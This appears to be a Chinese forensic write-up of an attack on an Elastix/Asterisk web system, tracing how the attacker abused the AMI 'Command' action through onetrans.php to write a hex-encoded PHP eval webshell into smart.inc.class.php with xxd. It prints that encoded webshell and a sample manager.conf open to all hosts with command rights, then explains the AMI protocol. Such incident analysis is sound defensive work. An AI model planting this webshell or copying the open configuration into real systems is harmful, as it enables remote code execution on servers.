通过系统日志发现问题参数为channel,文件为onetrans.php,打开onetrans.php查看,如下图
图-1 onetrans.php
从onetrans.php中看到改文件还包含了一个phpagi-asmanager-elastix.php文件,打开phpagi-asmanager-elastix.php查看,如下图:
图-2 phpagi-asmanager-elastix.php
通过phpagi-asmanager-elastix.php可以发现该web系统是使用的Asterisk,攻击者是通过API提供的Command远程命令执行写入了一句话木马,如下图
图-3 写入一句话木马
从上图可以发现攻击者使用system()函数执行的命令,其中“3c3f706870206576616c28245f504f53545b2261353130303933353431313638383635225d293b3f3e”为十六进制编码的一句话木马,用xxd命令( -P:以 postscript的连续十六进制转储输出,这也叫做纯十六进制转储,和-r:逆向操作: 把xxd的十六进制输出内容转换回原文件的二进制内容。)最后把一句话输出到smart.inc.class.php。
但是从日志文件看,里面还有Action:Command、ActionID:1这样的字符串,于是上网查了查这个Asterisk。发现攻击者正是利用了这个API提供的Command命令进行的攻击。
Manager API简介 Asterisk管理接口(AMI)允许外部客户端程连接到Asterisk实例,并且可以通过TCP/IP流发送命令和读取事件。在试图跟踪Asterisk内部电话状态进,它就显得特别有用。在服务端和客户端之间,用的是一种简单的"key: value"格式的协议。消息中,以CR/LF为换行符,以空行(两个CR/LF)为数据包终结符。
AMI协议 向Asterisk发送命令之前,必须先建立一个会话会话建立之后,服务端和客户端之间,可以在任意时候发送数据包客户端发给服务端的包,首行必须有一个”Action”关键字;服务端发给客户端的包,首行则必须有”Event”或”Response”关键字。一个数据包里,命令行的顺序是无关紧要的,所以可以用你熟悉的顺序来组织以CR/LF为换行符,CR/LF加空行(两个CR/LF)为包结束符,Asterisk收到包结束符时开始解析处理
包的类型 AMI的数据包类型,由首行里的关键字决定,目前有以下三种类型: Action:客户端发给Asterisk的包,请求执行某项特定的动作(Action)。客户端可执行的动作(可扩展的),取决于Asterisk加载的模块。一次执行一条命令。Action包含需要执行的操作名称和完成操作所需要的参数。Response:Asterisk对Action的响应包。Event:由Asterisk核心或外围模块生成的事件信息,用于通知客户端状态变化,比如电话呼入,有人加入或退出会议室,等等。
AMI配置 AMI的配置文件/etc/asterisk/manager.conf。AMI缺省的监听端口为5038,主要需要配置的内容是分配个用户,并授予执行的权限,配置实例:
[general] enabled=yesport=5038bindaddr=0.0.0.0[manager]secret=XXXXXXpermit=0.0.0.0/0.0.0.0read=system,call,log,verbose,agent,command,userwrite=system,call,log,verbose,agent,command,user
配置项的详细内容,可参考http://www.asterisk.org/doxygen/trunk/Config_ami.html配置完成后,可以在CLI下查看manager用信息,操作实例如下:
yjye*CLI> manager show users
username ---—– admin ---—————- 1 manager users configured.
AMI的命令列表可以通过在CLI下的manager show commands查看,我的环境里是这样的:
yjye*CLI> manager show commands Action Privilege Synopsis —— ——— ——– WaitEvent Wait for an event to occur. QueueReset Reset queue statistics. QueueReload Reload a queue, queues, or any sub-section of a queue o QueueRule Queue Rules. QueuePenalty agent,all Set the penalty for a queue member. QueueLog agent,all Adds custom entry in queue_log. QueuePause agent,all Makes a queue member temporarily unavailable. QueueRemove agent,all Remove interface from queue. QueueAdd agent,all Add interface to queue. QueueSummary Show queue summary. QueueStatus Show queue status. Queues Queues. MuteAudio system,all Mute an audio stream MixMonitorMute Mute / unMute a Mixmonitor recording. VoicemailUsersL call,reporting, List All Voicemail User Information. PlayDTMF call,all Play DTMF signal on a specific channel. SKINNYshowline system,reportin Show SKINNY line (text format). SKINNYlines system,reportin List SKINNY lines (text format). SKINNYshowdevic system,reportin Show SKINNY device (text format). SKINNYdevices system,reportin List SKINNY devices (text format). IAXregistry system,reportin Show IAX registrations. IAXnetstats system,reportin Show IAX Netstats. IAXpeerlist system,reportin List IAX Peers. IAXpeers system,reportin List IAX peers. AgentLogoff agent,all Sets an agent as no longer logged in. Agents agent,all Lists agents and their status. SIPnotify system,all Send a SIP notify. SIPshowregistry system,reportin Show SIP registrations (text format). SIPqualifypeer system,reportin Qualify SIP peers. SIPshowpeer system,reportin show SIP peer (text format). SIPpeers system,reportin List SIP peers (text format). LocalOptimizeAw system,call,all Optimize away a local channel when possible. AGI agi,all Add an AGI command to execute by Async AGI. UnpauseMonitor call,all Unpause monitoring of a channel. PauseMonitor call,all Pause monitoring of a channel. ChangeMonitor call,all Change monitoring filename of a channel. StopMonitor call,all Stop monitoring a channel. Monitor call,all Monitor a channel. DBDelTree system,all Delete DB Tree. DBDel system,all Delete DB entry. DBPut system,all Put DB entry. DBGet system,reportin Get DB Entry. Bridge call,all Bridge two channels already in the PBX. Park call,all Park a channel. ParkedCalls List parked calls. ShowDialPlan config,reportin Show dialplan contexts and extensions AOCMessage aoc,all Generate an Advice of Charge message on a channel. ModuleCheck system,all Check if module is loaded. ModuleLoad system,all Module management. CoreShowChannel system,reportin List currently active channels. Reload system,config,a Send a reload event. CoreStatus system,reportin Show PBX core status variables. CoreSettings system,reportin Show PBX core settings (version etc). UserEvent user,all Send an arbitrary event. UpdateConfig config,all Update basic configuration. SendText call,all Send text message to channel. ListCommands List available manager commands. MailboxCount call,reporting, Check Mailbox Message Count. MailboxStatus call,reporting, Check mailbox. AbsoluteTimeout system,call,all Set absolute timeout. ExtensionState call,reporting, Check Extension Status. Command command,all Execute Asterisk CLI Command. Originate originate,all Originate a call. Atxfer call,all Attended transfer. Redirect call,all Redirect (transfer) a call. ListCategories config,all List categories in configuration file. CreateConfig config,all Creates an empty file in the configuration directory. Status system,call,rep List channel status. GetConfigJSON system,config,a Retrieve configuration (JSON format). GetConfig system,config,a Retrieve configuration. Getvar call,reporting, Gets a channel variable. Setvar call,all Set a channel variable. Ping Keepalive command. Hangup system,call,all Hangup channel. Challenge Generate Challenge for MD5 Auth. Login Login Manager. Logoff Logoff Manager. Events Control Event Flow. DataGet Retrieve the data api tree.
...